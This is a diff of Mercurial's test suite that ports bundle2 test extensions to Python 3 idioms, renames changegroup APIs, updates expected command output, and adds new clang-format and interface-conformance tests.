+  >        mathpart.addparam(b'pi', b'3.14')
+  >        mathpart.addparam(b'e', b'2.72')
+  >        mathpart.addparam(b'cooking', b'raw', mandatory=False)
+  >        mathpart.data = b'42'
   >        mathpart.mandatory = False
   >        # advisory known part with unknown mandatory param
-  >        bundler.newpart('test:song', [('randomparam','')], mandatory=False)
+  >        bundler.newpart(b'test:song', [(b'randomparam', b'')], mandatory=False)
   >     if opts['unknown']:
-  >        bundler.newpart('test:unknown', data='some random content')
+  >        bundler.newpart(b'test:unknown', data=b'some random content')
   >     if opts['unknownparams']:
-  >        bundler.newpart('test:song', [('randomparams', '')])
+  >        bundler.newpart(b'test:song', [(b'randomparams', b'')])
   >     if opts['parts']:
-  >        bundler.newpart('test:ping', mandatory=False)
+  >        bundler.newpart(b'test:ping', mandatory=False)
   >     if opts['genraise']:
   >        def genraise():
-  >            yield 'first line\n'
+  >            yield b'first line\n'
   >            raise RuntimeError('Someone set up us the bomb!')
-  >        bundler.newpart('output', data=genraise(), mandatory=False)
+  >        bundler.newpart(b'output', data=genraise(), mandatory=False)
   > 
   >     if path is None:
-  >        file = sys.stdout
+  >        file = pycompat.stdout
   >     else:
   >         file = open(path, 'wb')
   > 
   >     if opts['timeout']:
-  >         bundler.newpart('test:song', data=ELEPHANTSSONG, mandatory=False)
+  >         bundler.newpart(b'test:song', data=ELEPHANTSSONG, mandatory=False)
   >         for idx, junk in enumerate(bundler.getchunks()):
-  >             ui.write('%d chunk\n' % idx)
+  >             ui.write(b'%d chunk\n' % idx)
   >             if idx > 4:
   >                 # This throws a GeneratorExit inside the generator, which
   >                 # can cause problems if the exception-recovery code is
@@ -159,75 +162,75 @@
   >                 # occur while we're in the middle of a part.
   >                 break
   >         gc.collect()
-  >         ui.write('fake timeout complete.\n')
+  >         ui.write(b'fake timeout complete.\n')
   >         return
   >     try:
   >         for chunk in bundler.getchunks():
   >             file.write(chunk)
-  >     except RuntimeError, exc:
+  >     except RuntimeError as exc:
   >         raise error.Abort(exc)
   >     finally:
   >         file.flush()
   > 
-  > @command(b'unbundle2', [], '')
+  > @command(b'unbundle2', [], b'')
   > def cmdunbundle2(ui, repo, replypath=None):
   >     """process a bundle2 stream from stdin on the current repo"""
   >     try:
   >         tr = None
   >         lock = repo.lock()
-  >         tr = repo.transaction('processbundle')
+  >         tr = repo.transaction(b'processbundle')
   >         try:
-  >             unbundler = bundle2.getunbundler(ui, sys.stdin)
+  >             unbundler = bundle2.getunbundler(ui, pycompat.stdin)
   >             op = bundle2.processbundle(repo, unbundler, lambda: tr)
   >             tr.close()
-  >         except error.BundleValueError, exc:
+  >         except error.BundleValueError as exc:
   >             raise error.Abort('missing support for %s' % exc)
-  >         except error.PushRaced, exc:
+  >         except error.PushRaced as exc:
   >             raise error.Abort('push race: %s' % exc)
   >     finally:
   >         if tr is not None:
   >             tr.release()
   >         lock.release()
-  >         remains = sys.stdin.read()
-  >         ui.write('%i unread bytes\n' % len(remains))
-  >     if op.records['song']:
-  >         totalverses = sum(r['verses'] for r in op.records['song'])
-  >         ui.write('%i total verses sung\n' % totalverses)
-  >     for rec in op.records['changegroup']:
-  >         ui.write('addchangegroup return: %i\n' % rec['return'])
+  >         remains = pycompat.stdin.read()
+  >         ui.write(b'%i unread bytes\n' % len(remains))
+  >     if op.records[b'song']:
+  >         totalverses = sum(r[b'verses'] for r in op.records[b'song'])
+  >         ui.write(b'%i total verses sung\n' % totalverses)
+  >     for rec in op.records[b'changegroup']:
+  >         ui.write(b'addchangegroup return: %i\n' % rec[b'return'])
   >     if op.reply is not None and replypath is not None:
   >         with open(replypath, 'wb') as file:
   >             for chunk in op.reply.getchunks():
   >                 file.write(chunk)
   > 
-  > @command(b'statbundle2', [], '')
+  > @command(b'statbundle2', [], b'')
   > def cmdstatbundle2(ui, repo):
   >     """print statistic on the bundle2 container read from stdin"""
-  >     unbundler = bundle2.getunbundler(ui, sys.stdin)
+  >     unbundler = bundle2.getunbundler(ui, pycompat.stdin)
   >     try:
   >         params = unbundler.params
-  >     except error.BundleValueError, exc:
-  >        raise error.Abort('unknown parameters: %s' % exc)
-  >     ui.write('options count: %i\n' % len(params))
+  >     except error.BundleValueError as exc:
+  >        raise error.Abort(b'unknown parameters: %s' % exc)
+  >     ui.write(b'options count: %i\n' % len(params))
   >     for key in sorted(params):
-  >         ui.write('- %s\n' % key)
+  >         ui.write(b'- %s\n' % key)
   >         value = params[key]
   >         if value is not None:
-  >             ui.write('    %s\n' % value)
+  >             ui.write(b'    %s\n' % value)
   >     count = 0
   >     for p in unbundler.iterparts():
   >         count += 1
-  >         ui.write('  :%s:\n' % p.type)
-  >         ui.write('    mandatory: %i\n' % len(p.mandatoryparams))
-  >         ui.write('    advisory: %i\n' % len(p.advisoryparams))
-  >         ui.write('    payload: %i bytes\n' % len(p.read()))
-  >     ui.write('parts count:   %i\n' % count)
+  >         ui.write(b'  :%s:\n' % p.type)
+  >         ui.write(b'    mandatory: %i\n' % len(p.mandatoryparams))
+  >         ui.write(b'    advisory: %i\n' % len(p.advisoryparams))
+  >         ui.write(b'    payload: %i bytes\n' % len(p.read()))
+  >     ui.write(b'parts count:   %i\n' % count)
   > EOF
   $ cat >> $HGRCPATH << EOF
   > [extensions]
   > bundle2=$TESTTMP/bundle2.py
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > [ui]
   > ssh=$PYTHON "$TESTDIR/dummyssh"
   > logtemplate={rev}:{node|short} {phase} {author} {bookmarks} {desc|firstline}
@@ -408,8 +411,8 @@
   $ hg statbundle2 --debug --config progress.debug=true --config devel.bundle2.debug=true < ../out.hg2
   bundle2-input: start processing of HG20 stream
   bundle2-input: reading bundle2 stream parameters
-  bundle2-input: ignoring unknown parameter 'e|! 7/'
-  bundle2-input: ignoring unknown parameter 'simple'
+  bundle2-input: ignoring unknown parameter e|! 7/
+  bundle2-input: ignoring unknown parameter simple
   options count: 2
   - e|! 7/
       babar%#==tutu
@@ -432,7 +435,7 @@
 bad parameter name
 
   $ hg bundle2 --param 42babar
-  abort: non letter first character: '42babar'
+  abort: non letter first character: 42babar
   [255]
 
 
@@ -649,7 +652,7 @@
   bundle2-input: part type: "test:song"
   bundle2-input: part id: "2"
   bundle2-input: part parameters: 0
-  bundle2-input: found a handler for part 'test:song'
+  bundle2-input: found a handler for part test:song
   bundle2-input-part: "test:song" (advisory) supported
   The choir starts singing:
   bundle2-input: payload chunk size: 178
@@ -662,7 +665,7 @@
   bundle2-input: part type: "test:debugreply"
   bundle2-input: part id: "3"
   bundle2-input: part parameters: 0
-  bundle2-input: found a handler for part 'test:debugreply'
+  bundle2-input: found a handler for part test:debugreply
   bundle2-input-part: "test:debugreply" (advisory) supported
   debugreply: no reply
   bundle2-input: payload chunk size: 0
@@ -679,15 +682,15 @@
   bundle2-input: part type: "test:song"
   bundle2-input: part id: "5"
   bundle2-input: part parameters: 1
-  bundle2-input: found a handler for part 'test:song'
+  bundle2-input: found a handler for part test:song
   bundle2-input: ignoring unsupported advisory part test:song - randomparam
-  bundle2-input-part: "test:song" (advisory) (params: 1 mandatory) unsupported-params (['randomparam'])
+  bundle2-input-part: "test:song" (advisory) (params: 1 mandatory) unsupported-params (randomparam)
   bundle2-input: payload chunk size: 0
   bundle2-input: part header size: 16
   bundle2-input: part type: "test:ping"
   bundle2-input: part id: "6"
   bundle2-input: part parameters: 0
-  bundle2-input: found a handler for part 'test:ping'
+  bundle2-input: found a handler for part test:ping
   bundle2-input-part: "test:ping" (advisory) supported
   received ping request (id 6)
   bundle2-input: payload chunk size: 0
@@ -832,6 +835,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+3 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg log -G
@@ -989,7 +993,7 @@
 
   $ hg debugbundle ../rev.hg2
   Stream params: {}
-  changegroup -- 'sortdict()'
+  changegroup -- {}
       32af7686d403cf45b5d95f2d70cebea587ac806a
       9520eea781bcca16c1e15acc0ba14335a0e8e5ba
       eea13746799a9e0bfd88f29d3c2e9dc9389f524f
@@ -1117,8 +1121,8 @@
   0360: db fb 6a 33 df c1 7d 99 cf ef d4 d5 6d da 77 7c |..j3..}.....m.w||
   0370: 3b 19 fd af c5 3f f1 60 c3 17                   |;....?.`..|
   $ hg debugbundle ../rev.hg2.bz
-  Stream params: sortdict([('Compression', 'GZ')])
-  changegroup -- 'sortdict()'
+  Stream params: {Compression: GZ}
+  changegroup -- {}
       32af7686d403cf45b5d95f2d70cebea587ac806a
       9520eea781bcca16c1e15acc0ba14335a0e8e5ba
       eea13746799a9e0bfd88f29d3c2e9dc9389f524f
@@ -1204,8 +1208,8 @@
   0420: 8b 43 88 57 9c 01 f5 61 b5 e1 27 41 7e af 83 fe |.C.W...a..'A~...|
   0430: 2e e4 8a 70 a1 21 46 96 30 7a                   |...p.!F.0z|
   $ hg debugbundle ../rev.hg2.bz
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- 'sortdict()'
+  Stream params: {Compression: BZ}
+  changegroup -- {}
       32af7686d403cf45b5d95f2d70cebea587ac806a
       9520eea781bcca16c1e15acc0ba14335a0e8e5ba
       eea13746799a9e0bfd88f29d3c2e9dc9389f524f
diff --git a/tests/test-bundle2-multiple-changegroups.t b/tests/test-bundle2-multiple-changegroups.t
--- a/tests/test-bundle2-multiple-changegroups.t
+++ b/tests/test-bundle2-multiple-changegroups.t
@@ -13,13 +13,13 @@
   >     # in 'heads' as intermediate heads for the first changegroup.
   >     intermediates = [repo[r].p1().node() for r in heads]
   >     outgoing = discovery.outgoing(repo, common, intermediates)
-  >     cg = changegroup.getchangegroup(repo, source, outgoing,
-  >                                     bundlecaps=bundlecaps)
+  >     cg = changegroup.makechangegroup(repo, outgoing, '01',
+  >                                      source, bundlecaps=bundlecaps)
   >     bundler.newpart('output', data='changegroup1')
   >     bundler.newpart('changegroup', data=cg.getchunks())
   >     outgoing = discovery.outgoing(repo, common + intermediates, heads)
-  >     cg = changegroup.getchangegroup(repo, source, outgoing,
-  >                                     bundlecaps=bundlecaps)
+  >     cg = changegroup.makechangegroup(repo, outgoing, '01',
+  >                                      source, bundlecaps=bundlecaps)
   >     bundler.newpart('output', data='changegroup2')
   >     bundler.newpart('changegroup', data=cg.getchunks())
   > 
@@ -88,6 +88,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   pretxnchangegroup hook: HG_HOOKNAME=pretxnchangegroup HG_HOOKTYPE=pretxnchangegroup HG_NODE=f838bfaca5c7226600ebcfd84f3c3c13a28d3757 HG_NODE_LAST=f838bfaca5c7226600ebcfd84f3c3c13a28d3757 HG_PENDING=$TESTTMP/clone HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
+  new changesets 27547f69f254:f838bfaca5c7
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=27547f69f25460a52fff66ad004e58da7ad3fb56 HG_NODE_LAST=27547f69f25460a52fff66ad004e58da7ad3fb56 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
   incoming hook: HG_HOOKNAME=incoming HG_HOOKTYPE=incoming HG_NODE=27547f69f25460a52fff66ad004e58da7ad3fb56 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=f838bfaca5c7226600ebcfd84f3c3c13a28d3757 HG_NODE_LAST=f838bfaca5c7226600ebcfd84f3c3c13a28d3757 HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
@@ -158,6 +159,7 @@
   adding file changes
   added 3 changesets with 3 changes to 3 files (+1 heads)
   pretxnchangegroup hook: HG_HOOKNAME=pretxnchangegroup HG_HOOKTYPE=pretxnchangegroup HG_NODE=7f219660301fe4c8a116f714df5e769695cc2b46 HG_NODE_LAST=5cd59d311f6508b8e0ed28a266756c859419c9f1 HG_PENDING=$TESTTMP/clone HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
+  new changesets b3325c91a4d9:5cd59d311f65
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e HG_NODE_LAST=8a5212ebc8527f9fb821601504794e3eb11a1ed3 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
   incoming hook: HG_HOOKNAME=incoming HG_HOOKTYPE=incoming HG_NODE=b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
   incoming hook: HG_HOOKNAME=incoming HG_HOOKTYPE=incoming HG_NODE=8a5212ebc8527f9fb821601504794e3eb11a1ed3 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
@@ -231,6 +233,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   pretxnchangegroup hook: HG_HOOKNAME=pretxnchangegroup HG_HOOKTYPE=pretxnchangegroup HG_NODE=9d18e5bd9ab09337802595d49f1dad0c98df4d84 HG_NODE_LAST=9d18e5bd9ab09337802595d49f1dad0c98df4d84 HG_PENDING=$TESTTMP/clone HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
+  new changesets 71bd7b46de72:9d18e5bd9ab0
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=71bd7b46de72e69a32455bf88d04757d542e6cf4 HG_NODE_LAST=71bd7b46de72e69a32455bf88d04757d542e6cf4 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
   incoming hook: HG_HOOKNAME=incoming HG_HOOKTYPE=incoming HG_NODE=71bd7b46de72e69a32455bf88d04757d542e6cf4 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=9d18e5bd9ab09337802595d49f1dad0c98df4d84 HG_NODE_LAST=9d18e5bd9ab09337802595d49f1dad0c98df4d84 HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
diff --git a/tests/test-bundle2-pushback.t b/tests/test-bundle2-pushback.t
--- a/tests/test-bundle2-pushback.t
+++ b/tests/test-bundle2-pushback.t
@@ -3,7 +3,8 @@
   > Current bundle2 implementation doesn't provide a way to generate those
   > parts, so they must be created by extensions.
   > """
-  > from mercurial import bundle2, pushkey, exchange, util
+  > from __future__ import absolute_import
+  > from mercurial import bundle2, exchange, pushkey, util
   > def _newhandlechangegroup(op, inpart):
   >     """This function wraps the changegroup part handler for getbundle.
   >     It issues an additional pushkey part to send a new
diff --git a/tests/test-bundle2-remote-changegroup.t b/tests/test-bundle2-remote-changegroup.t
--- a/tests/test-bundle2-remote-changegroup.t
+++ b/tests/test-bundle2-remote-changegroup.t
@@ -64,7 +64,8 @@
   >             common.extend(repo.lookup(r) for r in repo.revs(_common))
   >             heads = [repo.lookup(r) for r in repo.revs(heads)]
   >             outgoing = discovery.outgoing(repo, common, heads)
-  >             cg = changegroup.getchangegroup(repo, 'changegroup', outgoing)
+  >             cg = changegroup.makechangegroup(repo, outgoing, '01',
+  >                                              'changegroup')
   >             newpart('changegroup', cg.getchunks())
   >         else:
   >             raise Exception('unknown verb')
@@ -90,6 +91,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg -R repo log -G
@@ -130,6 +132,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 5 files (+1 heads)
+  new changesets cd010b8cd998:9520eea781bc
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg pull -R clone ssh://user@dummy/repo
@@ -140,6 +143,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files (+1 heads)
+  new changesets 24b6387c8c8c:02de42196ebe
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R clone log -G
   o  7:02de42196ebe public Nicolas Dumazet <nicdumz.commits@gmail.com>  H
@@ -173,6 +177,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files
+  new changesets cd010b8cd998:5fddd98957c8
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg pull -R clone ssh://user@dummy/repo
@@ -188,6 +193,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files (+1 heads)
+  new changesets 32af7686d403:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R clone log -G
   o  7:02de42196ebe public Nicolas Dumazet <nicdumz.commits@gmail.com>  H
@@ -221,6 +227,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files
+  new changesets cd010b8cd998:5fddd98957c8
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg pull -R clone ssh://user@dummy/repo
@@ -236,6 +243,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files (+1 heads)
+  new changesets 32af7686d403:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R clone log -G
   o  7:02de42196ebe public Nicolas Dumazet <nicdumz.commits@gmail.com>  H
@@ -272,6 +280,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files
+  new changesets cd010b8cd998:5fddd98957c8
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg pull -R clone ssh://user@dummy/repo
@@ -292,6 +301,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 32af7686d403:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R clone log -G
   o  7:02de42196ebe public Nicolas Dumazet <nicdumz.commits@gmail.com>  H
@@ -327,6 +337,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf clone
@@ -341,6 +352,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf clone
@@ -375,6 +387,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf clone
@@ -420,6 +433,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files
+  new changesets cd010b8cd998:5fddd98957c8
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-cache-abuse.t b/tests/test-cache-abuse.t
--- a/tests/test-cache-abuse.t
+++ b/tests/test-cache-abuse.t
@@ -2,7 +2,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > [phases]
   > publish=False
   > EOF
diff --git a/tests/test-casecollision-merge.t b/tests/test-casecollision-merge.t
--- a/tests/test-casecollision-merge.t
+++ b/tests/test-casecollision-merge.t
@@ -144,7 +144,7 @@
   $ hg commit -m '#4'
 
   $ hg merge
-  abort: case-folding collision between a and A
+  abort: case-folding collision between [aA] and [Aa] (re)
   [255]
   $ hg parents --template '{rev}\n'
   4
@@ -157,7 +157,7 @@
   $ hg update --clean 2
   1 files updated, 0 files merged, 2 files removed, 0 files unresolved
   $ hg merge
-  abort: case-folding collision between a and A
+  abort: case-folding collision between [aA] and [Aa] (re)
   [255]
   $ hg parents --template '{rev}\n'
   2
@@ -327,7 +327,7 @@
   $ hg status
   A B
   $ hg update
-  abort: case-folding collision between b and B
+  abort: case-folding collision between [bB] and [Bb] (re)
   [255]
 
   $ hg update --check
diff --git a/tests/test-censor.t b/tests/test-censor.t
--- a/tests/test-censor.t
+++ b/tests/test-censor.t
@@ -359,6 +359,7 @@
   adding manifests
   adding file changes
   added 11 changesets with 11 changes to 2 files (+1 heads)
+  new changesets 186fb27560c3:683e4645fded
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg update 4
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -423,6 +424,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets 075be80ac777:dcbaf17bf3a1
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg cat -r $REV target
   $ hg cat -r $CLEANREV target
@@ -450,12 +452,14 @@
   adding manifests
   adding file changes
   added 8 changesets with 10 changes to 2 files (+1 heads)
+  new changesets e97f55b2665a:dcbaf17bf3a1
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg unbundle splitbundle
   adding changesets
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 2 files (+1 heads)
+  new changesets efbe78065929:683e4645fded
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg update $H2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -481,5 +485,6 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets e97f55b2665a
   (run 'hg update' to get a working copy)
   $ hg cat -r 0 target
diff --git a/tests/test-check-clang-format.t b/tests/test-check-clang-format.t
new file mode 100644
--- /dev/null
+++ b/tests/test-check-clang-format.t
@@ -0,0 +1,10 @@
+#require clang-format test-repo
+
+  $ . "$TESTDIR/helpers-testrepo.sh"
+
+  $ cd "$TESTDIR"/..
+  $ for f in `testrepohg files 'set:(**.c or **.h) and not "listfile:contrib/clang-format-blacklist"'` ; do
+  >   clang-format --style file $f > $f.formatted
+  >   cmp $f $f.formatted || diff -u $f $f.formatted
+  >   rm $f.formatted
+  > done
diff --git a/tests/test-check-code.t b/tests/test-check-code.t
--- a/tests/test-check-code.t
+++ b/tests/test-check-code.t
@@ -7,9 +7,11 @@
 New errors are not allowed. Warnings are strongly discouraged.
 (The writing "no-che?k-code" is for not skipping this file when checking.)
 
-  $ testrepohg locate -X contrib/python-zstandard \
-  > -X hgext/fsmonitor/pywatchman |
-  > sed 's-\\-/-g' | "$check_code" --warnings --per-file=0 - || false
+  $ testrepohg locate \
+  > -X contrib/python-zstandard \
+  > -X hgext/fsmonitor/pywatchman \
+  > -X mercurial/thirdparty \
+  > | sed 's-\\-/-g' | "$check_code" --warnings --per-file=0 - || false
   Skipping i18n/polib.py it has no-che?k-code (glob)
   Skipping mercurial/httpclient/__init__.py it has no-che?k-code (glob)
   Skipping mercurial/httpclient/_readers.py it has no-che?k-code (glob)
@@ -37,6 +39,7 @@
 
   $ testrepohg files 'glob:*'
   .arcconfig
+  .clang-format
   .editorconfig
   .hgignore
   .hgsigs
@@ -45,7 +48,7 @@
   CONTRIBUTORS
   COPYING
   Makefile
-  README
+  README.rst
   hg
   hgeditor
   hgweb.cgi
diff --git a/tests/test-check-interfaces.py b/tests/test-check-interfaces.py
new file mode 100644
--- /dev/null
+++ b/tests/test-check-interfaces.py
@@ -0,0 +1,77 @@
+# Test that certain objects conform to well-defined interfaces.
+
+from __future__ import absolute_import, print_function
+
+from mercurial import (
+    bundlerepo,
+    httppeer,
+    localrepo,
+    sshpeer,
+    statichttprepo,
+    ui as uimod,
+    unionrepo,
+)
+
+def checkobject(o):
+    """Verify a constructed object conforms to interface rules.
+
+    An object must have __abstractmethods__ defined.
+
+    All "public" attributes of the object (attributes not prefixed with
+    an underscore) must be in __abstractmethods__ or appear on a base class
+    with __abstractmethods__.
+    """
+    name = o.__class__.__name__
+
+    allowed = set()
+    for cls in o.__class__.__mro__:
+        if not getattr(cls, '__abstractmethods__', set()):
+            continue
+
+        allowed |= cls.__abstractmethods__
+        allowed |= {a for a in dir(cls) if not a.startswith('_')}
+
+    if not allowed:
+        print('%s does not have abstract methods' % name)
+        return
+
+    public = {a for a in dir(o) if not a.startswith('_')}
+
+    for attr in sorted(public - allowed):
+        print('public attributes not in abstract interface: %s.%s' % (
+            name, attr))
+
+# Facilitates testing localpeer.
+class dummyrepo(object):
+    def __init__(self):
+        self.ui = uimod.ui()
+    def filtered(self, name):
+        pass
+    def _restrictcapabilities(self, caps):
+        pass
+
+# Facilitates testing sshpeer without requiring an SSH server.
+class testingsshpeer(sshpeer.sshpeer):
+    def _validaterepo(self, *args, **kwargs):
+        pass
+
+class badpeer(httppeer.httppeer):
+    def __init__(self):
+        super(badpeer, self).__init__(uimod.ui(), 'http://localhost')
+        self.badattribute = True
+
+    def badmethod(self):
+        pass
+
+def main():
+    ui = uimod.ui()
+
+    checkobject(badpeer())
+    checkobject(httppeer.httppeer(ui, 'http://localhost'))
+    checkobject(localrepo.localpeer(dummyrepo()))
+    checkobject(testingsshpeer(ui, 'ssh://localhost/foo'))
+    checkobject(bundlerepo.bundlepeer(dummyrepo()))
+    checkobject(statichttprepo.statichttppeer(dummyrepo()))
+    checkobject(unionrepo.unionpeer(dummyrepo()))
+
+main()
diff --git a/tests/test-check-interfaces.py.out b/tests/test-check-interfaces.py.out
new file mode 100644
--- /dev/null
+++ b/tests/test-check-interfaces.py.out
@@ -0,0 +1,2 @@
+public attributes not in abstract interface: badpeer.badattribute
+public attributes not in abstract interface: badpeer.badmethod
diff --git a/tests/test-check-module-imports.t b/tests/test-check-module-imports.t
--- a/tests/test-check-module-imports.t
+++ b/tests/test-check-module-imports.t
@@ -16,24 +16,29 @@
 
   $ testrepohg locate 'set:**.py or grep(r"^#!.*?python")' \
   > 'tests/**.t' \
+  > -X hgweb.cgi \
+  > -X setup.py \
   > -X contrib/debugshell.py \
+  > -X contrib/hgweb.fcgi \
   > -X contrib/python-zstandard/ \
   > -X contrib/win32/hgwebdir_wsgi.py \
   > -X doc/gendoc.py \
   > -X doc/hgmanpage.py \
   > -X i18n/posplit \
-  > -X tests/test-hgweb-auth.py \
+  > -X mercurial/thirdparty \
   > -X tests/hypothesishelpers.py \
-  > -X tests/test-lock.py \
-  > -X tests/test-verify-repo-operations.py \
+  > -X tests/test-commit-interactive.t \
+  > -X tests/test-contrib-check-code.t \
+  > -X tests/test-demandimport.py \
+  > -X tests/test-extension.t \
+  > -X tests/test-hghave.t \
+  > -X tests/test-hgweb-auth.py \
+  > -X tests/test-hgweb-no-path-info.t \
+  > -X tests/test-hgweb-no-request-uri.t \
+  > -X tests/test-hgweb-non-interactive.t \
   > -X tests/test-hook.t \
   > -X tests/test-import.t \
   > -X tests/test-imports-checker.t \
-  > -X tests/test-commit-interactive.t \
-  > -X tests/test-contrib-check-code.t \
-  > -X tests/test-extension.t \
-  > -X tests/test-hghave.t \
-  > -X tests/test-hgweb-no-path-info.t \
-  > -X tests/test-hgweb-no-request-uri.t \
-  > -X tests/test-hgweb-non-interactive.t \
+  > -X tests/test-lock.py \
+  > -X tests/test-verify-repo-operations.py \
   > | sed 's-\\-/-g' | $PYTHON "$import_checker" -
diff --git a/tests/test-check-py3-compat.t b/tests/test-check-py3-compat.t
--- a/tests/test-check-py3-compat.t
+++ b/tests/test-check-py3-compat.t
@@ -19,9 +19,7 @@
   contrib/python-zstandard/tests/test_estimate_sizes.py not using absolute_import
   contrib/python-zstandard/tests/test_module_attributes.py not using absolute_import
   contrib/python-zstandard/tests/test_train_dictionary.py not using absolute_import
-  i18n/check-translation.py not using absolute_import
   setup.py not using absolute_import
-  tests/test-demandimport.py not using absolute_import
 
 #if py3exe
   $ testrepohg files 'set:(**.py) - grep(pygments)' \
diff --git a/tests/test-check-pylint.t b/tests/test-check-pylint.t
--- a/tests/test-check-pylint.t
+++ b/tests/test-check-pylint.t
@@ -12,6 +12,7 @@
   $ touch $TESTTMP/fakerc
   $ pylint --rcfile=$TESTTMP/fakerc --disable=all \
   >   --enable=W0102 --reports=no \
+  >   --ignore=thirdparty \
   >   mercurial hgdemandimport hgext hgext3rd
    (?)
   ------------------------------------ (?)
diff --git a/tests/test-chg.t b/tests/test-chg.t
--- a/tests/test-chg.t
+++ b/tests/test-chg.t
@@ -48,7 +48,7 @@
   $ touch foo
   $ CHGDEBUG= HGEDITOR=cat chg ci -Am channeled --edit 2>&1 \
   > | egrep "HG:|run 'cat"
-  chg: debug: run 'cat "*"' at '$TESTTMP/editor' (glob)
+  chg: debug: * run 'cat "*"' at '$TESTTMP/editor' (glob)
   HG: Enter commit message.  Lines beginning with 'HG:' are removed.
   HG: Leave message empty to abort commit.
   HG: --
@@ -115,7 +115,9 @@
   > EOF
 
   $ cat > $TESTTMP/fakepager.py <<EOF
-  > import sys, time
+  > from __future__ import absolute_import
+  > import sys
+  > import time
   > for line in iter(sys.stdin.readline, ''):
   >     if 'crash' in line: # only interested in lines containing 'crash'
   >         # if chg exits when pager is sleeping (incorrectly), the output
@@ -163,16 +165,16 @@
 warm up server:
 
   $ CHGDEBUG= chg log 2>&1 | egrep 'instruction|start'
-  chg: debug: start cmdserver at $TESTTMP/extreload/chgsock/server.* (glob)
+  chg: debug: * start cmdserver at $TESTTMP/extreload/chgsock/server.* (glob)
 
 new server should be started if extension modified:
 
   $ sleep 1
   $ touch dummyext.py
